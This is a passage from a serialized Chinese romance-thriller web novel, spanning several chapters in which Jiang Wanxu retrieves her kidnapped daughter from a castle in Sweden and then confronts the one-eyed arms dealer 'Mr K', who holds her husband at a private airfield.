程宇顿了顿,“技术科查了叶寒失踪前七天内的通话记录。有个号码在叶寒失踪当天,跟他频繁联系过。我们追查了一通20分钟的通话,位置显示……是敏敏的公寓。”
江晚絮轻轻“嗯”了一声。
程宇继续说,“晚絮,这意味着什么,你比我清楚。”
意味着,叶寒很有可能就是跟踪陈默的人之一……
这一切,而他之所以能跟上陈默,全都是因为有人在给他通风报信。
江晚絮脑海里浮现出陈默之前说过的话。
——“我给你留了信……我遇到一个女人,说是你的朋友……她给我看了你和她的很多合照。”
“晚絮?你在听吗?”程宇焦急地喊道。
“我在听。”
江晚絮的声音很平静,“程宇,谢谢你。”
挂断电话,江晚絮转过身。
众叛亲离。
这就是她的命吗?
“晚晚?”许甜察觉到妹妹的不对劲,小心翼翼地喊了一声。
江晚絮抬起头,那双曾经灵动清澈的眼睛里,此刻只剩下一片荒芜。
“姐。”
她轻声开口,声音轻得像要碎在风里,“我去见见外婆。”
回到斯德哥尔摩警局的时候,已经是深夜。
许甜坐在她身边,握住她冰凉的手,“那个黑衣人的身份还在核实,应该很快就有结果。”
“嗯。”江晚絮应了一声。
她转头看向许甜,“姐,你回去休息吧。”
“我怎么能走?我不走!”许甜摇头,“我要陪着你。”
“你去酒店睡一觉,明天早上再来替我。”江晚絮伸手替许甜理了理凌乱的头发,“我现在脑子很乱,我想一个人静一静。而且,如果有了顾彦廷或者安安的消息,我还需要你帮我呢。”
许甜看了她一会儿,最终妥协。
她知道江晚絮的脾气。
越是这种时候,她越固执。
“好,我去附近的酒店,有事你一定要第一时间打给我。”
送走许甜后,江晚絮独自坐在空荡荡的走廊里。
她拿出手机,翻开通讯录。
指尖在“苏洛敏”的名字上停了很久。
只要按下去,她就可以问她为什么要那么做。
可是,有什么用呢?
背叛已经发生,伤害已经造成。
江晚絮深吸一口气,直接将那个号码拉进了黑名单。
她站起身,走出了警局。
江晚絮打了一辆车,来到了陈曦的两层小楼前。
开门的是陈曦。
“孩子……”
她伸出手,抚摸着江晚絮的脸颊,“你怎么……怎么把自己搞成这副样子?”
江晚絮轻笑了笑,问道,“我能和你聊聊吗?”
第二天清晨,江晚絮再次来到了警局。
她洗了脸,化了淡妆,看起来精神了不少。
许甜早她十分钟赶到警局,此时正跟警
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察交涉。
“晚晚!你来了!”许甜看到她,赶紧迎上来,“警察那边说那个黑衣人的身份查到了,确实是陈默雇佣的保镖,不是涅墨西斯的人。但是……顾彦廷还是没消息。”
“没消息就是好消息。”
江晚絮淡淡地说了一句,然后走向审讯室,“我要见陈默。”
虽然她看上去状态还不错,但许甜还是有些不放心。
她想跟江晚絮一起去见陈默,却被她给拒绝了。
没办法,许甜只好在外面看着江晚絮晚絮独自一人去了警察安排的审讯室。
江晚絮刚进去,陈默就低下头同她道歉。
“晚晚……我对不起你。”
他显然也知道了昨晚发生的事情。
“不用说对不起。”
江晚絮打断他,“我现在只问你一件事。谢承允带安安去哪里了?”
“在……在皇后岛附近的一座私人古堡。”
陈默知无不言,“那是谢承允的产业。”
得到地址,江晚絮转身就走。
“晚晚!”
陈默在他身后喊道,“谢承允是个好人。如果当年不是因为那些误会,你父亲……或许该是他。”
江晚絮脚步一顿,没有回头,大步走了出去。
来到大厅,江晚絮拉住许甜。
“姐,你帮我在这里盯着。”
“你要去哪?”许甜警惕地问。
“我去一趟大使馆,办点手续。”江晚絮撒起谎来面不改色,“很快就回来。”
“我陪你去。”
“不用,你留在这里,万一顾彦廷有消息了,必须有人第一时间确认。”江晚絮按住许甜的肩膀,“姐,求你了,帮我看好这里。”
许甜只能点头,“那你快去快回。”
离开警局,江晚絮直接拦了一辆出租车。
“去皇后岛。”
一个小时后,车子停在了一座宏伟的古堡前。
这座古堡矗立在湖边,周围是茂密的森林,只有一条蜿蜒的小路通向大门。
江晚絮付了钱,独自一人踏上了那条小路。
穿过修剪整齐的花园,江晚絮来到了古堡大门口。
那里,站着一个男人。
第293章 打扰了
站在古堡门口的,正是谢承允,享誉国际的外科医生。
也是方颖曾经深爱,却最终错过的男人。
在他身边,还有一个约莫三十岁左右的女人。
女人娴静优雅,穿着一件白色的长裙,在她怀里……抱着一个小女孩。
“安安……”
江晚絮瞳孔瞬间放大,眼泪差点就没控制住。
她已经有一个星期没见过安安了。
此时的安安,也早就看到了她,正努力的探出小胳膊,往她的方向努力探着。
江晚絮所有的坚强和冷静,在看到女儿的那一刻,彻底崩塌。
谢承允看着她,轻唤出声。
“江晚絮。”
他的声音低沉而温和,“你来了。”
江晚絮对他点了点头,然后就迫不及待地上前抱起了安安。
“里面请。”
谢承允真心邀请。
江晚絮没有扭捏,跟在他们身后进了古堡。
谢承允坐在沙发上,那个女人站在他身后,安安静静地低垂着头。
江晚絮坐坐下来,紧紧抱着安安。
没过几分钟,安安就睡着了。
顾彦廷……
如果他在,看到这一幕,该有多心疼?
那个男人,哪怕是手上破了个皮都要在她面前邀功讨赏,可为了安安,他连命都不要了。
眼眶又开始发酸。
江晚絮吸了吸鼻子,将眼泪忍了回去。
谢承允端着一杯红茶,安静地坐着。
他断定江晚絮会急切地问些什么。
只可惜……
她就那么坐着,眼神甚至没有在他身上停留半分,全部的注意力都在安安身上。
终于,谢承允放下了手中的茶杯。
“晚絮。”
他的声音很温和,“你就不想问我点什么?”
江晚絮抬头,面露不解,“问你什么?邀请我的,不是你吗?”
语气平淡,没有起伏。
谢承允苦笑一声,率先开口解释,“如果我说,我是为了保护安安,你信吗?”
“保护?”
江晚絮扯了扯嘴角,“如果你所谓的保护,是让一个刚满一岁的孩子经历**、恐慌,最后被带到这个陌生的地方,我没有去找警察来抓你,已经是非常客气了。”
她低下头,亲了亲安安的额头,再抬头时,眼里就带了戏虐。
“谢承允,别把自己说得那么伟大。如果不是顾彦廷拼了命查到线索,如果不是我找上门,你会主动把安安还给我吗?”
谢承允沉默了。
确实,他有他的私心。
“看来,你是都知道了。”
谢承允叹了口气,身子往后靠了靠,“我的事情,你大概都了解得差不多了吧。”
江晚絮没接话。
“行吧。”谢承允摊了摊手,“我就不跟你兜圈子了。”
他指了指站在身后的白裙女子。
“介绍一下,这是我的养女,谢安琪。”
江晚絮看向他身后。
谢安琪长得很秀气,眉眼间透着一股书卷气,整个人看上去很恬静。
刚才,就是她一直抱着安安。
“谢小姐。”江晚絮淡淡地点了点头,算是打过招呼。
谢安琪张了张嘴,似乎想说什么,却被谢承允的一个眼神制止了。
“安琪是个好孩子,跟着我学医很多年。”谢承允慢条斯理地说道,“但你可能不知道,她曾经还有一个身份。”
江晚絮皱眉,“什么?”
“她曾经是涅墨西斯的高级研究员。”
“你疯了?”江晚絮瞬间就想通了其中的原因,她有些不可置信地看着谢承允,“你让你女儿进那种地方?”
“只有进去,才能查清楚真相。”
谢承允眼底闪过一丝厉色,“我一生未婚,收养安琪,是因为她是个孤儿,身家清白,最重要的是,她跟我没有血缘关系。那帮人疑心病重,如果是我亲生的,一定会查到我身上。”
江晚絮只觉得后背发凉。
为了一个真相,把养女推进深渊。
即便是收养的孩子,也不该这般冷漠。
这个男人的心,比她想象的还要狠。
“你想查什么?”江晚絮问。
“查你母亲的死因。”
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谢承允直视着江晚絮,“方颖当年死得蹊跷,虽然所有证据都指向意外,但我不信。她那么聪明的一个人,怎么可能死得那么不明不白。”
“所以呢?”
江晚絮深吸一口气,压下心头的翻涌,“这跟你带走安安有什么关系?”
“我在你心里就这么不堪?”谢承允自嘲一笑。
“不然呢?”江晚絮反问。
谢承允被噎了一下,无奈地摇摇头。
“去年,当你公开你是晨曦家族传承人身份的时候,我就知道要坏事。”
他站起身走到窗边,“你,还有安安,是他们眼里最完美的研究对象。”
“我让安琪在那里潜伏了这么多年,好不容易爬到核心位置,就是为了这一天。与其让安安落入敌手,不如我先下手为强,把她带走。”
谢承允转过身,背光而立,“我暗示陈默去绑走安安,却没想到他竟然把安安带去了伯母那里。如果我再插手,恐怕安安现在已经在实验室里了。”
江晚絮听完,沉默了许久。
她低头看了看熟睡的安安。
虽然谢承允的话听起来冠冕堂皇,甚至可以说是给了她天大的恩情,但江晚絮心里很清楚,这世上没有无缘无故的善意。
尤其是谢承允这种人。
“不管怎么说,安安现在没事。”
江晚絮真诚道谢,“谢谢你。”
谢承允挑了挑眉,似乎有些意外她的干脆。
“但是。”
江晚絮话锋一转,“谢承允,你并不欠我母亲什么。当**早已尘埃落定,你用这种方式自我感动,甚至把无辜的人卷进来,不觉得太自私了吗?”
谢承允的脸上终于出现了一丝茫然。
“安安是我的女儿,她的安危是我和顾彦廷的事情,还轮不到你来插手。”
江晚絮抱起安安,站起身,“今天打扰了,我现在就带她走。”
“这么晚了,你要去哪?”谢承允皱眉,“而且,你就不想知道除了涅墨西斯,还有谁在针对你吗?”
江晚絮脚步一顿。
她回过头,“谁?”
第294章 你的亲生父亲,还好吗?
谢承允看着江晚絮紧皱的眉头,突然觉得有些好笑。
“坐吧。”
谢承允指了指对面的沙发,“你要是现在走出去,我保证不出半小时,你和孩子就会被人盯上。别忘了,这里不是京市。”
江晚絮犹豫了两秒,重新坐了回去。
“说吧。”她冷冷开口。
谢承允重新端起那杯凉透的茶,抿了一口。
“你记不记得,前段时间晚星科技被打压的事情。”
江晚絮点头。
梁霁川那个小人,趁着外婆去世,抵制晚星科技的一项国际专利。
“你想说什么?”江晚絮反问。
谢承允嗤笑一声,眼中满是不屑,“要是没有人在背后给梁霁川撑腰,他也不敢跟你对着干。毕竟在你身后,还有个顾彦廷。”
江晚絮心头一跳,“你是说……”
“K先生。”
谢承允点点头,神色变得严肃起来,“没人见过他的真面目,但他掌控着庞大的地下资金流。当初换成科技濒临破产,之所以能快速翻身,就是因为K先生。”
K先生的事情,顾彦廷当初就是因为谢承允放出的线索,才查到的。
“你告诉我这个干什么?”江晚絮警惕地看着他。
谢承允放下茶杯,手指在桌面上轻轻敲击,“我是去威胁了那个K先生。”
江晚絮愣了愣。
她以为当时谢承允是碍于许甜和方知意的面子,才帮忙的。
但这点面子,让他去“威胁”K先生,显然是不够的。
“你为什么要帮我?”江晚絮不解。
谢承允看着她,眼神有些复杂。
“我不缺钱,也不缺名。我做这一切,确实是想要还一份人情,但绝对不是因为方知意。”
“那是因为……?”
“方颖。”谢承允闭了闭眼,似乎陷入了回忆,“当年如果不是我太懦弱,不敢带她走,她也不会……”
“够了。”
江晚絮冷声打断他,“我不想听这些陈年旧事。谢承允,自我感动也要有个限度。我母亲已经**,你做再多,她也看不见。”
谢承允苦笑,“是啊,她看不见。但我得让自己心里好过点。”
他深吸一口气,恢复了理智的模样,“总之,关于K先生的事情,你要小心。我虽然有些面子,但也只是有些人情往来,这种人情用一次少一次。为了保住晚星,我已经消耗了不少人际关系。”
“也就是说,接下来,只能靠你们自己了。”
江晚絮听明白了。
他该做的都做了,接下来的敌人,他帮不上她。
“明白了。”
江晚絮点点头,“既然如此,那就打扰了。”
她抱紧安安,再次站起身。
这次,谢承允没拦她。
“等等。”
就在江晚絮即将走出大门的时候,谢承允却突然叫住了她。
江晚絮回头。
谢承允站在阴影里,声音有些飘忽,“如果你见到顾彦廷……算了,没什么。”
江晚絮深深地看了他一眼。
“如果他还活着,我会告诉他,这次算我们欠你的。”
说完,她抱着安安走出了古堡。
大门外,冷风呼啸。
虽然前路未卜,虽然顾彦廷生死不明,但此刻,抱着失而复得的女儿,江晚絮感觉自己浑身都是劲儿。
离开古堡后,江晚絮拦了一辆出租车,直奔大使馆。
只有到了那里,才是绝对安全的。
车上,安安醒了一次。
小家伙迷迷糊糊地睁开眼,看到抱着自己的是妈妈,瘪了瘪嘴。
“别怕,妈妈带你回家。”
江晚絮亲了亲她的额头,柔声哄着。
安安大概是太累了,很快又睡了过去。
江晚絮腾出一只手,拿出了手机。
刚才在古堡里信号被屏蔽,现在才恢复正常。
刚开机,许甜的电话就打了进来。
“晚晚!怎么样?接到安安了吗?”许甜的声音很急切。
她都准备让马克的朋友黑进交警的监控系统去找人了。
“接到了,我正在去大使馆的路上。”
听到这话,许甜明显松了一口气,“太好了……”
“姐,你那边情况怎么样?”江晚絮问道。
许甜吸了吸鼻子,语速飞快,“瑞典警方根据我们在小岛上发现的血迹和弹壳,追踪到了一组奇怪的车胎印,一路向北。他们调取了沿途的卫星监控,发现他们去了一个私人机场。”
江晚絮的心提了起来,“私人机场?什么意思?”
“目前还不清楚。”许甜安慰道,“晚晚,你先别急,只要知道去向就有希望。你先去大使馆安顿好安安,这边我盯着。”
“好。”
挂断电话,江晚絮看着窗外飞速后退的街景,眼神逐渐变得冰冷。
顾彦廷应该没有生命危险。
但国内现在肯定乱成一锅粥了。
顾彦廷失踪的消息一旦传回去,那些牛鬼神蛇都会跳
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出来。
尤其是梁霁川。
既然谢承允说他的人情已经用完了,那接下来,梁霁川肯定会做些什么。
江晚絮翻开通讯录,打了一个电话。
“夫人?顾总?是不是顾总有消息了?!”
电话那头传来林舟焦急的声音。
十个小时前,他就联系不到顾彦廷了。
“安安找到了。顾彦廷暂时还没消息,警察已经在找了。现在,我要你做一件事。”
林舟一听顾彦廷还没回来,顿时有些泄气,“夫人,微博上已经有人发布顾总失踪的消息了……”
“林舟!”
江晚絮厉声喝道,“你作为他的特助,这个时候要是敢掉链子,等他回来,第一个剥了你的皮!”
林舟被骂得浑身一激灵,下意识地挺直了腰背,“是!我错了!夫人您说,需要我做什么?”
“去联系梁霁川。”
江晚絮沉声吩咐,“告诉他,我要跟他视频通话。立刻,马上。”
“啊?”林舟懵了,“找梁霁川?为什么……”
“按我说的做。”
江晚絮眼神阴鸷。
二十分钟后,江晚絮抵达了大使馆。
在工作人员的安排下,安安被送到了休息室,由专人照看。
江晚絮借了一间会议室,打开了林舟发来的视频链接。
屏幕闪烁了几下,连接成功。
画面里,出现了一张年轻却透着邪气的脸。
“哟,这不是嫂子吗?”
梁霁川笑得一脸玩味,“怎么,彦廷哥不在,嫂子寂寞了想找人聊天?”
说实话,江晚絮在之前只在电视和杂志上见过梁霁川。
但梁霁川的手段,她却是知道的。
她冷眼看着他,没有丝毫怒意,反而嗤笑一声。
“梁霁川,趁着顾彦廷不在,欺负我们孤儿寡母,这就是你的本事?”
“嫂子这话说的,商场如战场,哪有什么欺负不欺负。”梁霁川抿了一口酒,眼神轻蔑,“顾彦廷自己惹了不该惹的人,跟我有什么关系?”
江晚絮威胁道,“你就不怕我鱼死网破把你送进地狱?”
“哈哈哈!”梁霁川像是听到了什么天大的笑话,“嫂子,我知道你是高知女性,搞研究你是把好手,但这做生意嘛……你还是太嫩了。你拿什么跟我斗?靠你那张嘴吗?”
江晚絮没有理会他的嘲讽,而是露出一个邪邪的笑来。
“梁霁川,你的亲生父亲K先生,还好吗?”
第295章 我在这等你!
江晚絮与梁霁川的视频通话,整整持续了一个小时。
挂断后,江晚絮靠在椅背上,长长地吐出一口浊气。
跟梁霁川这种精明的商人对话,是很费脑的。
不等她缓过来,林舟就打来了电话。
“夫人!”林舟急切地问,“您和那个姓梁的聊完了?他怎么说?顾总现在到底什么情况啊!”
“林舟,你给我冷静点。”
江晚絮的声音有点冷,林舟立刻闭嘴。
“国内的一切照旧。”江晚絮一边想,一边下达命令,“公司该怎么运转就怎么运转,不需要理会任何关于顾彦廷失踪的传闻。任何人散播恐慌就直接开除,不用汇报。”
“可是夫人,现在好几条传闻都上了热搜了,我怕……”林舟急得直跺脚。
“没关系。”江晚絮淡定依旧,“我会尽快找到他,你只需要做好你的事,替我们看家就好。”
林舟被她感染,消沉的情绪渐渐消失。
“好!我会尽力而为。”
“等我们回去。”
挂断电话,江晚絮转身去了休息室。
安安睡得正香。
她走过去,低头在她小脸上亲了一口,随后拜托使馆的工作人员照看,自己披上风衣去了警局。
江晚絮刚踏进大厅,许甜就迎了上来。
“晚晚!”许甜一把抓住她的手,上下打量,眉头紧锁,“你手怎么这么冰?”
“我没事。”江晚絮心里一暖,反握住许甜的手,“查得怎么样了?”
许甜冷哼一声,压低声音,“原本是有点慢的……”
话音未落,警局局长从外面跑了进来。
胖局长手里挥舞着一张盖了章的文件,对着江晚絮和许甜笑道,“江女士!搜查令拿到了!”
许甜愣了一下,江晚絮却见怪不怪地挑了挑眉。
就在半小时前,谢承允给她发了一条短信:【我联系了几个老朋友,应该还能帮上一点忙。】
虽然谢承允嘴上说着无能为力,但他还是帮了她。
“这个私人机场位于瑞典边境,紧邻丹麦。”胖局长指着地图,擦了擦汗,“江女士,我们的人已经准备好了,随时可以出发。”
许甜笑着拿出手机给江晚絮看。
“大使馆那边也说,国内的同志马上就到机场。”
江晚絮点头,“那我们再等等。等国内的警察到了再一起去。”
在这异国他乡,唯有祖国的人,才能让她彻底交出后背。
两小时后,警局来了五个熟悉的国人面孔。
走在最前面的两名是穿着便衣的国内资深刑警,后面跟着三名维和官兵。
那一瞬间,江晚絮只觉得无比踏实。
“江女士?”为首的刑警队长大步上前,出示了证件,“我是张锐,国内专案组队长。接上级命令,全力配合您的行动,并保障您和孩子的安全。”
“张队,辛苦了。”江晚絮站起身,因为腿部僵硬,微微晃了一下。
张锐眼疾手快地虚扶了一把,沉声道,“不辛苦。顾总对国家有贡献,您又是顶尖的科研人员,保护你们,是我们的职责。更何况,那帮人在境外对我国公民动手,真当咱们是吃素的?”
“局长,人齐了。”江晚絮转头看向那个瑞典胖局长,“咱们可以出发了吗?”
怔愣的胖局长赶紧疯狂点头,让人去安排车子。
车队在夜色中直奔瑞典与丹麦交界的边境。
江晚絮坐在防弹越野车的后座,怀里抱着安安。
车厢里很安静。
张锐坐在江晚絮身边,低声跟她交流,“江女士,我们在路上就已经接到了国际刑警传过来的资料。”
“这个私人机场注册在一家离岸公司名下,背景很干净,但越干净越有问题。我们怀疑,这可能是一个中转站。待会儿不管发生什么,您和孩子一定不能离开我们的视线。”
“我明白。”江晚絮点头。
天快亮了。
顾彦廷,你一定要等我。
六个小时后,车队终于停了下来。
眼前,是一座被茂密针叶林环绕的巨大庄园式建筑,如果不是高耸的塔台和隐约可见的停机坪,根本看不出这是一个机场。
“下车,准备!”张锐低喝一声。
瑞典警方、国内刑警和维和官兵迅速下车。
江晚絮本以为,接下来会出现火光冲天的激烈交火。
她甚至在脑海里仅存的枪战游戏小常识全都调了出来,开始寻找合适的掩体。
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>然而——
“咔哒。”
庄园的黑色雕花铁门,竟然自动向两侧敞开了。
铁门后,站着两排西装革履的保镖。
看到全副武装的警察,他们连眉头都没皱一下,反而齐刷刷地弯下腰,冲着江晚絮鞠了一躬。
为首的一个管家模样的男人,面带微笑地走上前来。
“江晚絮女士。”管家态度温和,语气恭敬,“主人已经恭候多时了。不过……”
他抬起头,目光扫过她身后严阵以待的警方,微微一笑,“主人说了,只允许四个人进去。”
张锐毫不犹豫地举起枪将枪口顶在管家的脑门上,“少他妈跟我装神弄鬼!里面藏着谁?让他滚出来!”
虽然这趟任务很严肃,但张锐做了二十年刑警,很早就想体验这种合法嚣张的感觉了。
这也太爽了!
管家被枪指着头,却连眼睛都没眨一下,依旧面带微笑。
“张警官,您大可以直接开枪。”管家轻飘飘地说,“但我保证,**一响,最先到底的肯定不会是我。”
张锐咬牙切齿地把枪放了下来。
“四个名额是吧?”江晚絮扯了扯嘴角,“可以。”
“晚晚!”许甜急了,一把拉住她,“你疯了?”
江晚絮转过头,看着许甜,“没事。而且他说得对,我们现在在人家的地盘上。”
她低头,看了看怀里熟睡的女儿。
然后转过身,将安安小心翼翼地递给了一名随行的女警察。
“江女士……”女警眼圈有点红,紧紧抱着孩子。
“如果我出不来……”江晚絮深吸一口气,看向许甜和张锐,“姐,安安就交给你了。张队,麻烦你们务必把我女儿安全送回国,交给顾老太太。”
“别说这种丧气话!”许甜强忍着笔尖的酸涩,“我在这等你!”
江晚絮笑了笑,没再接话。
她转头向张锐点了点头。
张锐明白她的意思,想了想便做出了安排。
“瑞典警方那边,派一名国际刑警。还有小李跟我们一起进去。”
最终,江晚絮、张锐、一名金发的国际刑警史密斯,以及身手最好的维和官兵小李,一起跟在管家身后,走了进去。
第296章 开个价吧
私人机场的内部十分奢华。
穿过大门,是一条铺着波斯地毯的长廊,墙壁上挂满了中世纪的油画。
四个人的脚步声落在厚厚的地毯上,悄无声息,却让人心底发毛。
“这地方,简直像个地下宫殿。”小李低声嘟囔了一句,手一直按在腰间的枪套上,警惕地扫视着四周。
张锐跟在江晚絮的身侧,提醒道,“小心点,这里面连个监控都看不到。”
江晚絮没有说话。
管家带着他们穿过长廊,来到了一栋三层高的小洋楼前。
“主人在二楼等您。”管家停下脚步,微微躬身,“各位,请自己上去吧。”
江晚絮抬头,看着楼梯。
“我走前面。”张锐拔出枪,走在最前面,顺着旋转楼梯一步步往上走。
江晚絮跟在后面。
整个二楼是一个巨大的、打通的房间。
张锐怀着激动的心情推开了大门。
房间很大,光线却有些昏暗。
房间正中央,铺着一张巨大的地毯。
地毯上摆着一套通体漆黑的轮椅。
轮椅面前、靠墙站着四个面无表情的黑人保镖。
而那个轮椅则背对着他们。
由于椅背太高,只能看到坐在上面的人一只手夹着雪茄,另一只手随意地搭在扶手上。
江晚絮翻了个白眼。
这是拍新版《教父》呢?
整得跟真事儿似的。
“来了。”
一道沙哑而低沉的男性嗓音,从轮椅后传了出来。
张锐和小李瞬间举起枪,对准了沙发:“不许动!警察!转过身来!”
史密斯也厉声用英文发出了警告。
轮椅上的人低低地笑了起来。
那笑声仿佛砂纸在玻璃上摩擦,让人头皮发麻。
“警察?”那**了弹烟灰,“在这个地方,警察可不管用。江晚絮,你说对吗?”
江晚絮眉头紧皱。
这个人,认识她。
她站在原地,眼光不经意地扫了一眼沙发对面的壁炉,沉声道,“装神弄鬼有意思吗?顾彦廷在哪?你费这么大周折把我引到这里,总不是为了请我听音乐吧。”
“啪、啪、啪。”
那人鼓了三下掌。
随后,轮椅缓缓转了过来。
当看清那人的脸时,江晚絮的瞳孔骤然收缩,呼吸在这一刻停滞了。
张锐等人也倒吸了一口凉气。
坐在那里的,是一个苍老的白人老头。
他脸上满是褶皱,左眼戴着一个黑色的眼罩,右眼露出的目光,很慈祥。
但这都不是让江晚絮关注的重点。
重点是老头手里把玩着的东西——
一枚沾着血迹的铂金袖扣。
“眼熟吗?”老头将袖扣扔在面前的茶几上,“不得不说,顾彦廷是个很有前途的小伙子。可惜啊……”
“他没死。”江晚絮盯着老头,“你要是杀了他,就不会有闲情逸致在这里等我。说吧,你费这么大的劲儿把我们弄来这里,到底想要什么?”
老头那只独眼闪过一丝赞赏。
“不愧是方颖的女儿,比起你父亲和哥哥,可聪明多了。”
听到母亲的名字和江家人的名字,江晚絮的眼神瞬间阴沉下来。
“你认识我母亲?”
“生物基因论坛的创始人之一,我怎么会不认识呢。”老头咯咯地笑了起来,“重新认识一下,你可以叫我,尼克,也可以称呼我为K先生。”
对于他的身份,江晚絮已经猜到了,她倒是没什么反应。
可站在她侧后方的史密斯却倒抽了一口凉气。
“尼克……你难道是十年前死在非洲的**商,‘血眼’尼克?!”史密斯拔高了音量,语气里夹杂着震惊与忌惮,连枪口都下意识地往前顶了顶。
十年前?死在非洲?
江晚絮眉头微挑,目光冷冷地在眼前这个看起来甚至有些“慈祥”的独眼老头身上转了一圈。
“史密斯警官,你的记性很不错。”
K先生,也就是尼克,听罢低低地笑了起来。
“那是我安排的假死,没什么好提的。”尼克随意地摆了摆手,“人老了,总得想办法给自己找个安静的地方养老,不是吗?这十年来,我可是是个遵纪守法的好公民。”
“遵纪守法?”张锐在一旁冷笑出声,手指紧紧扣着**,“在边境弄个私人机场养一帮雇佣兵,你管这叫遵纪守法?少废话!顾彦廷人呢!”<
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br>面对张锐的质问,尼克毫不在意地转动了一下轮椅,将目光重新落回江晚絮脸上。
“江女士,这两位警官的脾气似乎都不太好。”尼克慢条斯理地拿起茶几上的雪茄剪,“不过没关系,我这个人向来宽容。”
江晚絮冷笑反问,“你的宽容就是**我的女儿和男人?”
“江女士,你误会了。”尼克剪开雪茄,身后的黑人保镖立刻上前替他点燃。
他深吸了一口,“**你女儿的,是陈默。至于顾彦廷……”
尼克顿了顿,“我知道,涅墨西斯的余党一直想要窃取晨曦家族的基因数据。”
说到这里,尼克举起双手,做了一个投降的姿势,“但我可以向你保证,我尼克,和他们一点关系都没有。我甚至很讨厌他们。”
“所以呢?”江晚絮红唇微启,“你别告诉我,你是个大善人,你大费周章把我引到这里,就是为了将来在地狱里少受点罪。”
尼克哈哈大笑起来。
“江女士,顾彦廷现在很安全。事实上,是我的人从涅墨西斯的手里,把他给救下来的。算起来,我可是你们的救命恩人。”
“你救了他?”
江晚絮不信。
K先生在背后跟他们掰扯了一年,明的暗的做了那么多,到头来却只是为了出手相助?
一旁的张锐和小李对视了一眼,眼里的警惕更深了。
一个**商,从恐怖组织手里救下自己的对手?
这怎么可能?
江晚絮双手悄悄攥紧。
顾彦廷没事,他还好好活着。
“既然是救命恩人,”江晚絮上前一步,“那么,尼克先生,你的交换条件是什么?”
天下没有白吃的午餐。
这个道理,江晚絮明白。
尼克微微一愣,似乎没料到江晚絮的情绪转换得这么快。
刚才那一瞬间,他明明在她的眼里看到了几乎崩溃的脆弱,可仅仅是一眨眼的功夫,她就恢复了冷静。
“江女士,你太心急了。”尼克嘴角的笑意加深,“现在的年轻人,连叙旧的耐心都没有了吗?”
“我跟你没什么旧可叙。”江晚絮冷声打断他,“我只要我的人。你开个价吧。”
第297章 大不了再死一次
**晚絮毫不客气地顶撞,尼克并没有恼怒。
他凝神看了江晚絮一会儿,就侧过头给了身后的黑人保镖一个眼神。
保镖立刻会意,朝房间角落的一扇暗门走去。
“咔嗒”一声,暗门被推开。
江晚絮的呼吸,瞬间停滞。
几秒钟后,一道熟悉的高大身影从阴影中走了出来。
“晚晚……”
顾彦廷穿着一件黑色的衬衫,脸色有些苍白,嘴角还有一块明显的淤青,左臂不自然地垂在身侧。
虽然看起来有些狼狈,但他身上的气势却丝毫未减。
“顾彦廷……”
江晚絮的嘴唇抖了抖,下意识地就朝着顾彦廷飞奔而去。
因为跑得太急,她还踉跄了半步。
顾彦廷瞳孔一缩,不顾左臂的伤势,大步上前,一把将她拥进了怀里。
“我在这,晚晚,我在这。”
顾彦廷在她耳边轻声哄着。
熟悉的冷杉雪松味钻入鼻腔,江晚絮再也控制不住,眼泪夺眶而出。
“你吓死我了……你知不知道你吓死我了!”江晚絮哽咽着,双手锤了一下他的后背。
顾彦廷由着她打,声音低哑又温柔,“我的错。都怪我,让你担心了。”
这旁若无人的重聚,让整个房间的气氛变得有些诡异。
按理说,这样的场景很感人,也有些不合时宜。
但对张锐来说,这就相当于立了个FLAG。
他皱眉盯着尼克,与小李两人背靠背而站。
“啪、啪、啪。”
尼克靠在轮椅上,笑眯眯地鼓了鼓掌。
“真感人。”尼克由衷感叹,“看到你们这样,我都不忍心打断了。不过,江女士,我的时间可是很宝贵的。”
顾彦廷闻言,眼底的温柔瞬间收敛。
“说吧,你到底想要什么。”江晚絮冷静地说,“只要不违背到的伦理、不违反法律,你不管提出什么样的条件,我们都可以答应。”
尼克笑着摆了摆手。
“钱?那种东西,多到一定程度就只是一串数字了。”
尼克深吸了一口雪茄,身体微微前倾,将视线转向了一直没有开口的顾彦廷。
“我想要的,很简单。”尼克一字一顿地说,“不知道顾总考虑得如何了?”
江晚絮微微一愣,看向顾彦廷。
顾彦廷的脸色瞬间沉了下来,想都没想就拒绝了,“不可能。”
“顾总,话别说得这么死嘛。”尼克叹了口气,面露惋惜,“我这可是为了全人类的进步在做贡献。你怎么就这么自私呢?”
江晚絮察觉到了不对劲。
全人类的进步?
她猛地抓住了顾彦廷的手臂,抬头用眼神询问他:到底是什么条件?!
这老东西到底提了什么,能让一向喜怒不形于色的顾彦廷瞬间动怒?
难不成,和自己有关?
难道,顾彦廷会为了自己,把她推出去?
“晚晚。”顾彦廷察觉到了她身体的轻微颤抖。
他低下头,深深地看了她一眼。
【相信我。】
顾彦廷用眼神无声地对她说道。
他顾彦廷就算是死在这里,也绝对不会让任何人动她一根头发丝儿!
看着两人之间无声的交流,尼克突然又笑了起来。
“啧啧啧,江女士,你为什么不自己猜猜看呢?”尼克用一只手撑着下巴,好整以暇,“其实,这对你来说也不算什么难事。”
说到这里,尼克脸上的笑容骤然收敛,抬起手打了个响指。
“咔嗒、咔嗒、咔嗒!”
金属撞击声响起,原本还阳光明媚的二楼瞬间就黑了下来——厚厚的钢板封住了所有的出入口和窗户。
尼克靠回高背轮椅里,语气瞬间就冷了下来,“如果你不答应,你们今天,谁也别想活着离开这里。”
他的这番话,让张锐几人立刻就紧张了起来。
“尼克先生,你这么做是不是太不讲道理了?”顾彦廷冷嗤一声,“我最不怕的就是威胁。
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我的答案还是那两个字——休想。”
江晚絮站在他身后,悄悄攥紧了他的衣摆。
顾彦廷没有告诉她尼克的条件到底是什么。
但她相信顾彦廷。
能让他打死不松口的条件,绝对不是金钱或者权力能办到的。
也不怎么的,她觉得那个所谓的条件,能要了她的命。
或者说,比要了她的命更让她无法接受。
“顾总,这可不是聪明人的做法。”
尼克的脸上,再没了半点笑容。
“既然你们这么恩爱,那我就给你们换个地方,让你们好好清醒清醒!”
尼克一挥手,声音陡然拔高,“把他们关起来!”
话音刚落,四个黑人保镖立刻就向几人走了过来。
“干什么!别动!”张锐怒吼一声,直接将枪口对准了冲在最前面的保镖。
小李也立刻拔枪,状似不经意地往张锐面前走了一步。
而张锐也趁着这个空挡,用手指在腰带上飞快地抹了一下。
“尼克,你这是在公然挑衅国际刑警组织!”
史密斯被一个壮汉反扭住胳膊,枪也被踹飞了。
他红着眼眶厉声指责,“外面全是警察!你敢动我们,国际法庭绝对不会放过你!”
面对史密斯的咆哮,尼克只是冷冷地瞥了他一眼。
“我十年前就已经**,大不了再死一次。”尼克冷笑,“带走!”
张锐和小李对视一眼,看懂了对方眼里的隐忍。
现在硬拼,他们只会被打成筛子。
三人被保镖押着朝一楼走去。
